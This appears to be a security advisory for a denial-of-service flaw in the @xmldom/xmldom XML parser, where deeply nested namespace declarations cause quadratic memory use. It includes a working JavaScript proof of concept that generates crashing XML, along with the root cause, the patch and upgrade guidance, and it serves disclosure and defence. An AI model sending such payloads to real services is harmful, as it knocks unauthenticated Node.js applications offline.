CVE-2026-83615: @xmldom/xmldom Quadratic Memory DoS via Namespace Nesting
Sending a small XML document with deeply nested namespace declarations causes xmldom's parser to consume memory quadratically, crashing the Node.js process before any application logic runs.

The problem
In lib/sax.js, the appendElement function calls _copy to clone the entire in-scope namespace map (currentNSMap) for every element that declares a new prefix. Each ancestor's copy stays alive on the parse stack until the element closes.
At depth N, the parser holds roughly N(N+1)/2 total namespace-map entries at peak. A document ~470 KB in size can exhaust a default 4 GB Node.js heap and OOM-crash the process. This happens before any schema check or SAML signature verification runs, so it is a fully unauthenticated denial of service.
Proof of concept
A working proof-of-concept for CVE-2026-83615 in @xmldom/xmldom, with the exact payload below.
const { DOMParser } = require('@xmldom/xmldom');
function build(n) {
let open = '', close = '';
for (let i = 0; i < n; i++) {
open += `<a xmlns:p${i}="urn:${i}">`;
close = '</a>' + close;
}
return `<r>${open}${close}</r>`;
}
// 16 000 nested elements, each with a unique xmlns:pN declaration
// => ~470 KB of XML => OOM crash on default Node.js heap
for (const n of [2000, 4000, 8000, 16000]) {
const src = build(n);
new DOMParser().parseFromString(src, 'text/xml');
console.log(n, (src.length/1024).toFixed(0)+'KB in',
(process.resourceUsage().maxRSS/1024).toFixed(0)+'MB peak RSS');
}Every time an element opens with a new xmlns:prefix attribute, appendElement shallow-copies the full ancestor namespace map into a fresh Object.create(null). That copy, size ~depth i, is pinned to the parse-stack entry and stays live until the closing tag.
Summing over all depths gives O(N²) peak entries: at depth 16,000 that is over 128 million entries before any GC can reclaim them.
The patch replaces the eager full copy with prototype-chain delegation: child maps use Object.create(parentNSMap) and only write the one new prefix as an own property. Lookup still works via the prototype chain, but peak live storage drops to O(N). Serialized output is byte-identical; the change is purely internal to the parser.
The fix
Upgrade @xmldom/xmldom to **0.8.15** (0.8.x line) or **0.9.12** (0.9.x line). No patched version exists for the legacy xmldom package; migrate to @xmldom/xmldom. Patch commits: 954370f (0.8.15) and dabffe8 (0.9.12). If an immediate upgrade is not possible, reject or size-cap XML input at the network/middleware layer before it reaches the parser.
Related research
- highCVE-2026-83607CVE-2026-83607: @xmldom/xmldom Element Name Injection via createElement()
- highCVE-2026-83605CVE-2026-83605: @xmldom/xmldom Attribute Name Injection via setAttribute()
- highCVE-2026-83614CVE-2026-83614: @xmldom/xmldom Quadratic-Time Parsing ReDoS (DoS)
- highCVE-2026-83619CVE-2026-83619: @xmldom/xmldom End-Tag Whitespace ReDoS